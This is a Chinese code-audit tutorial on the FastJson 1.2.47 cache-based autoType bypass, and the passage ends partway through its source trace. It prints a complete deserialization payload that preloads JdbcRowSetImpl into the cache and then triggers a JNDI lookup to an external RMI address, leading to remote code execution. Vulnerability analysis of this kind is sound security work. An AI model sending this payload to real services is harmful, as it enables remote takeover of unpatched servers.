FastJson 1.2.47 缓存通杀绕过如何为?
摘要:代码审计 | FastJson 1.2.47 缓存通杀绕过 目录 环境准备 漏洞概述 Payload 结构解析 源码跟踪:一步步看绕过过程 第一阶段:处理字段 a,预热缓存 第二阶段:处理字段 b,命中缓存绕过检测 总结 环境准备 版本:1
代码审计 | FastJson 1.2.47 缓存通杀绕过
目录
环境准备
漏洞概述
Payload 结构解析
源码跟踪:一步步看绕过过程
第一阶段:处理字段 a,预热缓存
第二阶段:处理字段 b,命中缓存绕过检测
总结
环境准备
版本:1.2.47
使用 Maven 管理依赖,在 pom.xml 里改一下版本号就行。
漏洞概述
先看一下 Payload 的样子:
String payload =
"{\"a\":{\"@type\":\"java.lang.Class\",\"val\":\"com.sun.rowset.JdbcRowSetImpl\"}," +
"\"b\":{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\"," +
"\"dataSourceName\":\"rmi://172.16.250.1:1099/nmpjlh\"," +
"\"autoCommit\":true}}";
1.2.47 最厉害的地方在哪?
前面 1.2.25、1.2.42、1.2.43 那些版本的绕过,都需要手动把 autoTypeSupport 设置为 true 才能打。但是 1.2.47 的缓存绕过不需要开任何开关,默认配置就能打,所以危害是最大的。
原因在于:autoTypeSupport 这个开关是进入黑白名单检测的前提条件,但 1.2.47 利用的是缓存机制——缓存的查找发生在黑白名单检测之前,所以压根就没进到检测分支,直接 return 了,完全绕过了整个检测逻辑。这也是为什么换成低版本的 Fastjson 同样可行,是一个通杀的 Payload。
Payload 结构解析
完整 Payload 长这样:
{
"a": {
"@type": "java.lang.Class",
"val": "com.sun.rowset.JdbcRowSetImpl"
},
"b": {
"@type": "com.sun.rowset.JdbcRowSetImpl",
"dataSourceName": "rmi://172.16.250.1:1099/nmpjlh",
"autoCommit": true
}
}
分两部分,各有各的作用:
第一部分 a:往缓存里塞东西
"@type": "java.lang.Class"
"val": "com.sun.rowset.JdbcRowSetImpl"
java.lang.Class 是 JDK 自带类,不在黑名单里,checkAutoType 直接放行。
Fastjson 在反序列化 java.lang.Class 的时候,会读取 val 字段的值,在内部调用 Class.forName("com.sun.rowset.JdbcRowSetImpl"),然后把这个结果存进 mappings 缓存。
第二部分 b:从缓存里取出来用
"@type": "com.sun.rowset.JdbcRowSetImpl"
正常情况下,com.sun.rowset.JdbcRowSetImpl 在黑名单里,checkAutoType 应该直接抛异常。
但是 checkAutoType 在做黑名单检测之前,会先查一遍缓存:
clazz = TypeUtils.getClassFromMapping(typeName);
if (clazz != null) {
return clazz; // 缓存命中,直接返回,不走黑名单
}
第一部分已经把 JdbcRowSetImpl 存进缓存了,所以这里直接命中,跳过了黑名单检测,类加载成功,后续触发 RCE。
一句话总结:
用 java.lang.Class 把恶意类"预热"进缓存,再用 @type 直接从缓存取,从而绕过黑名单检测。
源码跟踪:一步步看绕过过程
下面开始跟链(调试源码),把整个流程走一遍。
第一阶段:处理字段 a,预热缓存
首先来到 @type 的判断逻辑。此时处理的是字段 a,判断类型不符合直接跳过的条件:
于是进入了 else 分支,跳过了这一层。
